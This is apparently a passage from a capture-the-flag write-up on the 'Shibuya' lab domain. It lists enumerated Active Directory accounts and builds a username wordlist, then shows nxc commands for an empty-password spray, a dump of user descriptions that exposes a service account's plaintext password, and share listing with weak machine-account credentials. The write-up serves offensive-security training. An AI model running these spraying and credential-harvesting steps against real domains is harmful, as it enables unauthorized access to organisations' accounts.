SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1486: SHIBUYA\Hannah.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1487: SHIBUYA\Owen.Page (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1488: SHIBUYA\Christopher.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1489: SHIBUYA\Jeffrey.Wallis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1490: SHIBUYA\Adrian.Lowe (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1491: SHIBUYA\Sophie.Macdonald (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1492: SHIBUYA\Anna.James (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1493: SHIBUYA\Chloe.Parsons (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1494: SHIBUYA\Jade.Graham (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1495: SHIBUYA\Simon.Griffiths (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1496: SHIBUYA\Kate.Matthews (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1497: SHIBUYA\Craig.Freeman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1498: SHIBUYA\Howard.Dickinson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1499: SHIBUYA\Tracey.Marsden (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1500: SHIBUYA\Arthur.Mitchell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1501: SHIBUYA\Craig.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1502: SHIBUYA\Lynne.Parker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1503: SHIBUYA\Kerry.Walton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1504: SHIBUYA\Marilyn.Clarke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1505: SHIBUYA\Sally.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1506: SHIBUYA\Alex.Thornton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1507: SHIBUYA\Keith.Macdonald (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1508: SHIBUYA\Mary.Bird (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1509: SHIBUYA\Gary.Wood (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1510: SHIBUYA\Bradley.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1511: SHIBUYA\Trevor.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1512: SHIBUYA\Joanna.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1513: SHIBUYA\Caroline.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1514: SHIBUYA\Sheila.O'Donnell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1515: SHIBUYA\Jacqueline.Hall (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1516: SHIBUYA\Charlene.Hudson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1517: SHIBUYA\Gregory.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1518: SHIBUYA\Billy.Bailey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1519: SHIBUYA\Alison.Ahmed (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1520: SHIBUYA\Kerry.Hall (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1521: SHIBUYA\Holly.Alexander (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1522: SHIBUYA\Paula.Sutton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1523: SHIBUYA\Phillip.Parsons (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1524: SHIBUYA\Elizabeth.Adams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1525: SHIBUYA\Connor.Henderson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1526: SHIBUYA\Fiona.Fuller (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1527: SHIBUYA\Danny.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1528: SHIBUYA\Carly.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1529: SHIBUYA\Stacey.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1530: SHIBUYA\Joel.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1531: SHIBUYA\June.Evans (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1532: SHIBUYA\Linda.Pearce (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1533: SHIBUYA\Holly.Shaw (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1534: SHIBUYA\Carolyn.Hussain (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1535: SHIBUYA\Gareth.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1536: SHIBUYA\Charlotte.Wright (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1537: SHIBUYA\Georgina.Macdonald (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1538: SHIBUYA\Emily.Cook (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1539: SHIBUYA\Terence.Richards (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1540: SHIBUYA\Aimee.Khan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1541: SHIBUYA\Martin.Lane (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1542: SHIBUYA\Roger.Warren (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1543: SHIBUYA\Joe.Mann (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1544: SHIBUYA\Lydia.Moore (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1545: SHIBUYA\Frederick.Gordon (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1546: SHIBUYA\Glenn.Shepherd (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1547: SHIBUYA\Rita.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1548: SHIBUYA\Edward.Parker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1549: SHIBUYA\Emma.Chamberlain (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1550: SHIBUYA\Helen.Harvey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1551: SHIBUYA\Zoe.Dawson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1552: SHIBUYA\Kimberley.Johnson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1553: SHIBUYA\Alexander.Carey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1554: SHIBUYA\Billy.Blackburn (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1555: SHIBUYA\Graham.Wallace (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1556: SHIBUYA\Lydia.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1557: SHIBUYA\Marian.Stewart (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1558: SHIBUYA\Dennis.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1559: SHIBUYA\Kenneth.Shaw (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1560: SHIBUYA\Kim.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1561: SHIBUYA\Guy.Russell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1562: SHIBUYA\Amber.Fowler (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1563: SHIBUYA\Tracy.O'Sullivan (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1564: SHIBUYA\Charlene.Norman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1565: SHIBUYA\Glenn.Bibi (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1566: SHIBUYA\Leslie.Holmes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1567: SHIBUYA\Tom.Read (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1568: SHIBUYA\Joe.Carter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1569: SHIBUYA\Lisa.Armstrong (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1570: SHIBUYA\Matthew.Owen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1571: SHIBUYA\Henry.Howe (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1572: SHIBUYA\Carol.Clarke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1573: SHIBUYA\Elizabeth.O'Neill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1574: SHIBUYA\Marc.Davis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1575: SHIBUYA\Leon.Wells (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1576: SHIBUYA\Natasha.Lane (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1577: SHIBUYA\Bernard.Nelson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1578: SHIBUYA\Hannah.Price (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1579: SHIBUYA\Patrick.Thomas (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1580: SHIBUYA\Abdul.Clarke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1581: SHIBUYA\Hilary.Murphy (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1582: SHIBUYA\Hugh.Higgins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1583: SHIBUYA\Rachel.Foster (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1584: SHIBUYA\Alison.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1585: SHIBUYA\Anne.Carr (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1586: SHIBUYA\Victoria.Cook (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1587: SHIBUYA\Jane.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1588: SHIBUYA\Karen.Carter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1589: SHIBUYA\Ronald.Lloyd (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1590: SHIBUYA\Douglas.Humphreys (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1591: SHIBUYA\Louis.Barrett (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1592: SHIBUYA\Rhys.Thompson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1593: SHIBUYA\Gareth.Moore (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1594: SHIBUYA\Margaret.O'Connor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1595: SHIBUYA\Natalie.Horton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1596: SHIBUYA\Maurice.Curtis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1597: SHIBUYA\Dennis.Bell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1598: SHIBUYA\Antony.Marshall (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1599: SHIBUYA\Lewis.Edwards (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1600: SHIBUYA\Reece.Young (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1601: SHIBUYA\Gary.Parry (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1602: SHIBUYA\Andrea.Gray (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1603: SHIBUYA\Ann.Reed (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1604: SHIBUYA\Robin.Kaur (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1605: SHIBUYA\Bethany.Briggs (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1606: SHIBUYA\Donald.Coles (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1607: SHIBUYA\Martyn.Turner (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1608: SHIBUYA\RED$ (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1610: SHIBUYA\PURPLE$ (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1611: SHIBUYA\AWSJPWK0222$ (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 3101: SHIBUYA\ssh (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 4101: SHIBUYA\t3_admins (SidTypeGroup)
Let’s copy/paste the output to a file then get just the users and put them in a new wordlist file:
$ cat all_sids.txt | grep TypeUser | awk '{ print $6}' | cut -d '\' -f 2 > all_users.txt
$ cat all_users.txt
_admin
Guest
krbtgt
AWSJPDC0522$
svc_autojoin
Leon.Warren
Graeme.Kerr
Joshua.North
Shaun.Burton
Gillian.Douglas
Kelly.Davies
Conor.Fletcher
Karl.Brown
Tracey.Wood
Mohamed.Brooks
Wendy.Stevenson
Gerald.Allen
Leigh.Harrison
Brian.Elliott
Ashleigh.Hancock
Kevin.Green
Mathew.Richardson
Stanley.Johnson
Sophie.Smith
Thomas.Wilson
Jacqueline.Taylor
Georgia.Smith
Georgia.Kelly
Alan.Green
Mohammad.Todd
Graham.Francis
Elaine.Roberts
Ross.Allen
Grace.Humphries
Roy.Shepherd
Emma.Noble
Ryan.Harris
Suzanne.Webb
Edward.Smith
Ellie.Chapman
Bradley.Evans
Grace.King
Eric.Barnes
Tracey.Holmes
Joan.White
Leslie.Osborne
Frederick.Smith
Joseph.Rowe
Melanie.Brown
Jodie.Jenkins
Bethany.Watson
Cameron.Begum
Jenna.Abbott
Karl.Smith
Arthur.Walker
Sheila.Roberts
Tom.Barnes
Stuart.French
William.Johnson
David.Poole
Charlene.Walsh
Jessica.Gordon
Francesca.Day
William.Brown
Sylvia.Doyle
William.Thomas
Craig.Owen
Leon.Daly
Jacob.Preston
Lynn.Pearson
Antony.Howell
Mary.Grant
Shirley.Matthews
Louis.Bond
Norman.Clayton
Rhys.Moore
Lynn.Gregory
Abdul.Mason
Diana.Rowe
Olivia.Houghton
Katy.Webster
Judith.Black
Henry.Gallagher
Ryan.Horton
Dylan.Booth
Nathan.Matthews
Georgia.Carter
Derek.Wade
David.Cole
Lynn.Harrison
Rachel.Flynn
Jade.Smith
Hannah.Taylor
Carole.Barrett
Brenda.Peacock
Robin.Stevens
Victoria.Jones
Victor.Clarke
Joel.Bailey
Stanley.Lowe
Billy.Williams
Lorraine.Barber
Nicole.Walsh
Mohamed.Daniels
Joseph.Woods
Elliott.Hill
Marie.Campbell
Cheryl.Patel
Samuel.Curtis
Dennis.Little
Rachael.Taylor
Helen.Walton
Richard.Stokes
Hilary.Collins
Christopher.Brookes
Max.Day
Marcus.Stevenson
Leon.Murray
Carly.Franklin
Luke.Nash
Terry.Saunders
Callum.Walker
Roger.Mills
Elliott.Page
Barry.Green
Jill.Clarke
Vanessa.Harris
Ross.Smith
Jane.Stewart
Gemma.Simpson
Donald.Holmes
Tracy.Ferguson
Damien.Dixon
Geraldine.Herbert
Sarah.Warner
Bryan.Watts
Hayley.Morgan
Glenn.Gough
Sam.Stone
Susan.Baker
Eileen.Anderson
Vincent.Bryan
Deborah.Edwards
Rosemary.Edwards
Dominic.Matthews
Sylvia.Farrell
Amanda.Wall
Timothy.Freeman
Bethan.Davies
Alan.Pearce
Stanley.Smart
Susan.Butler
Hannah.Thompson
Janice.Connolly
Rhys.Marsh
Phillip.Campbell
Norman.Evans
Terry.Sharp
Rosie.Williams
Dominic.Jones
Dorothy.Turner
Oliver.Rees
Lewis.Robson
Glenn.Gould
Max.Clark
Oliver.Smith
Ronald.Martin
Donald.Dunn
Alexander.Wilson
Geoffrey.Griffiths
Olivia.Gibson
Mitchell.Jones
Philip.Stephens
Jeremy.Riley
Louis.Wood
Leanne.Williams
Lisa.Harper
Marilyn.Jordan
Jenna.Jones
Marie.Chadwick
Sandra.Ward
Stacey.Murray
Katy.Jones
Tina.Lee
Arthur.Cox
Gareth.Brown
Gillian.Wallace
Damien.Thompson
Harry.Turner
Terry.Green
Jade.Pearson
Hugh.Wright
Jonathan.Pugh
Melanie.Grant
Jeffrey.Taylor
Lauren.Turner
Jeffrey.Harrison
Tony.Benson
Tony.Owens
Rosie.O'Donnell
Abdul.Smart
Kyle.Chambers
Terry.Howard
Pamela.Knowles
Dylan.Allen
Kerry.Bailey
Stuart.Fletcher
Shaun.Campbell
Beverley.Willis
Chelsea.Green
Lydia.Bates
Bernard.Lewis
Julia.Allen
Luke.Boyle
Helen.Dickinson
Bryan.Arnold
Dorothy.Power
Irene.Nicholson
Georgina.Cameron
Amber.Webster
Lawrence.Jones
Gavin.Patel
Dylan.Brown
Janet.Banks
Ann.Davies
Jade.Hunter
Diane.West
Lynda.Woodward
Hilary.Hilton
Lisa.Quinn
Alexandra.Vincent
Kenneth.Cunningham
Tom.Hunt
Hilary.Davies
Lorraine.Williams
Mathew.Cook
Chloe.Williams
Robert.Reynolds
Marion.Thompson
Callum.Miles
Alice.Day
Tracy.Jones
Vanessa.Cooke
Karen.Stephenson
Vanessa.Dixon
Kelly.Robertson
Timothy.Jones
Josh.Rees
Leslie.Lloyd
Kayleigh.Roberts
Jonathan.Brady
Leah.Parry
Dale.Thomas
Eleanor.Hamilton
Kenneth.Coleman
Christian.Marsden
Antony.Storey
Dominic.Wilson
Angela.Grant
Ian.Barker
Pamela.Bennett
Billy.Little
Alan.Butler
Nigel.Mills
Leanne.Gill
Stuart.Taylor
Deborah.Graham
Mitchell.Winter
Paula.Davies
Barbara.Rowley
Lynda.Nash
Kyle.Hill
Lesley.Lynch
Beth.Baker
Julie.Davies
Irene.Allan
Thomas.Brookes
Russell.Phillips
Donna.Green
Natalie.Knowles
Toby.Lamb
Jayne.Barnes
Elliott.Watson
Adam.Long
Jean.Allen
Lauren.Walters
Leanne.Bentley
Kieran.Miller
Holly.Bradley
Jodie.Khan
Billy.Smith
Jeremy.Howells
Elliott.Storey
Denise.Harvey
Ann.Kaur
Damian.Marshall
Colin.Gibson
Georgina.Long
Bernard.Bevan
Lawrence.Collins
Lee.Hunt
Marcus.Collins
Alexander.Mitchell
Keith.Wilson
Joan.Taylor
Simon.Watson
Duncan.Roberts
Hazel.Wright
Paul.Smith
Martyn.Thompson
Victor.Ellis
Aaron.Howard
Brenda.Reynolds
Lawrence.Morton
George.Hill
Leslie.Smith
Gillian.Jones
Maureen.Hill
Megan.James
Nathan.Moss
Damian.Wilson
Paige.Murphy
Shirley.Parker
Maurice.Hill
Sandra.Williams
Ian.Newton
Lorraine.Cox
Abbie.Ford
Eileen.Greenwood
Anthony.Clayton
Oliver.Allen
Harry.King
Vincent.Graham
Amanda.Parkin
Stephanie.Potter
Melissa.Jones
Michelle.Johnston
Jamie.Jones
Anthony.Webster
Tracy.Godfrey
Brian.Singh
Shirley.Fuller
Beth.Campbell
Clifford.Robinson
Alan.Bibi
Lauren.Wilkinson
Lucy.Evans
Damien.Jenkins
Charlotte.Brooks
Alison.Chapman
Roy.Knowles
Sally.Wilson
Clive.Hamilton
Samuel.Herbert
Jake.Young
Louis.Brown
Gavin.Harvey
Alexandra.Wright
Samantha.Singh
Alan.Carter
Reece.Taylor
Paula.Green
George.Clark
Arthur.Morris
Carly.Price
Jamie.Hardy
Brandon.Jones
Hollie.Clark
Melanie.Lambert
Leanne.Hughes
Roger.Wright
Dorothy.Fletcher
Gerald.Cox
Hayley.Parkinson
Declan.Walker
Christine.Lamb
Danny.Barnett
Marilyn.Barnett
Liam.Webster
Rhys.Williams
Steven.Fraser
Alexander.Jones
Hannah.Smith
Owen.Page
Christopher.Jones
Jeffrey.Wallis
Adrian.Lowe
Sophie.Macdonald
Anna.James
Chloe.Parsons
Jade.Graham
Simon.Griffiths
Kate.Matthews
Craig.Freeman
Howard.Dickinson
Tracey.Marsden
Arthur.Mitchell
Craig.Wright
Lynne.Parker
Kerry.Walton
Marilyn.Clarke
Sally.Brown
Alex.Thornton
Keith.Macdonald
Mary.Bird
Gary.Wood
Bradley.Smith
Trevor.Williams
Joanna.Brown
Caroline.Smith
Sheila.O'Donnell
Jacqueline.Hall
Charlene.Hudson
Gregory.Smith
Billy.Bailey
Alison.Ahmed
Kerry.Hall
Holly.Alexander
Paula.Sutton
Phillip.Parsons
Elizabeth.Adams
Connor.Henderson
Fiona.Fuller
Danny.Brown
Carly.Jones
Stacey.Jones
Joel.Taylor
June.Evans
Linda.Pearce
Holly.Shaw
Carolyn.Hussain
Gareth.Davies
Charlotte.Wright
Georgina.Macdonald
Emily.Cook
Terence.Richards
Aimee.Khan
Martin.Lane
Roger.Warren
Joe.Mann
Lydia.Moore
Frederick.Gordon
Glenn.Shepherd
Rita.Smith
Edward.Parker
Emma.Chamberlain
Helen.Harvey
Zoe.Dawson
Kimberley.Johnson
Alexander.Carey
Billy.Blackburn
Graham.Wallace
Lydia.Smith
Marian.Stewart
Dennis.Williams
Kenneth.Shaw
Kim.Smith
Guy.Russell
Amber.Fowler
Tracy.O'Sullivan
Charlene.Norman
Glenn.Bibi
Leslie.Holmes
Tom.Read
Joe.Carter
Lisa.Armstrong
Matthew.Owen
Henry.Howe
Carol.Clarke
Elizabeth.O'Neill
Marc.Davis
Leon.Wells
Natasha.Lane
Bernard.Nelson
Hannah.Price
Patrick.Thomas
Abdul.Clarke
Hilary.Murphy
Hugh.Higgins
Rachel.Foster
Alison.Jones
Anne.Carr
Victoria.Cook
Jane.Taylor
Karen.Carter
Ronald.Lloyd
Douglas.Humphreys
Louis.Barrett
Rhys.Thompson
Gareth.Moore
Margaret.O'Connor
Natalie.Horton
Maurice.Curtis
Dennis.Bell
Antony.Marshall
Lewis.Edwards
Reece.Young
Gary.Parry
Andrea.Gray
Ann.Reed
Robin.Kaur
Bethany.Briggs
Donald.Coles
Martyn.Turner
RED$
PURPLE$
AWSJPWK0222$
Expired Passwords spray attacking
Let’s go for username spray attack with an empty password to find expired password:
$ nxc smb awsjpdc0522.shibuya.vl -u all_users.txt -p '' -k --continue-on-success
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\_admin: KDC_ERR_PREAUTH_FAILED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\Guest: KDC_ERR_CLIENT_REVOKED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\krbtgt: KDC_ERR_CLIENT_REVOKED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\AWSJPDC0522$: KDC_ERR_PREAUTH_FAILED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\svc_autojoin: KDC_ERR_PREAUTH_FAILED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\Leon.Warren: KDC_ERR_PREAUTH_FAILED
...
No one has an expired password
Try also ASREPRoasting and Kerberoasting but both were not successfulled.
Users + Description listing (svc_autojoin)
Last step of enumeration before go ahead is to list again all users including the description field as sometimes we can find good stuff:
$ nxc smb awsjpdc0522.shibuya.vl -u 'red' -p 'red' -k --users
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 -Username- -Last PW Set- -BadPW- -Description-
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 _admin 2025-02-15 07:55:29 0 Built-in account for administering the computer/domain
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 krbtgt 2025-02-15 07:24:57 0 Key Distribution Center Service Account
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 svc_autojoin 2025-02-15 07:51:49 0 K5&A6Dw9d8jrKWhV
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 Leon.Warren 2025-02-16 10:23:34 0
...
Found
svc_autojoin:K5&A6Dw9d8jrKWhV
Shared folder (445/tcp)
$ nxc smb awsjpdc0522.shibuya.vl -u 'red' -p 'red' -k --shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Enumerated shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 Share Permissions Remark
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ----- ----------- ------
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ADMIN$ Remote Admin
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 C$ Default share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 images$
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 IPC$ READ Remote IPC
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 NETLOGON READ Logon server share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 SYSVOL READ Logon server share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 users READ
No
WRITEaccess
$ nxc smb awsjpdc0522.shibuya.vl -u 'purple' -p 'purple' -k --shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\purple:purple
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Enumerated shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 Share Permissions Remark
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ----- ----------- ------
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ADMIN$ Remote Admin
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 C$ Default share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 images$
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 IPC$ READ Remote IPC
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 NETLOGON READ Logon server share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 SYSVOL READ Logon server share
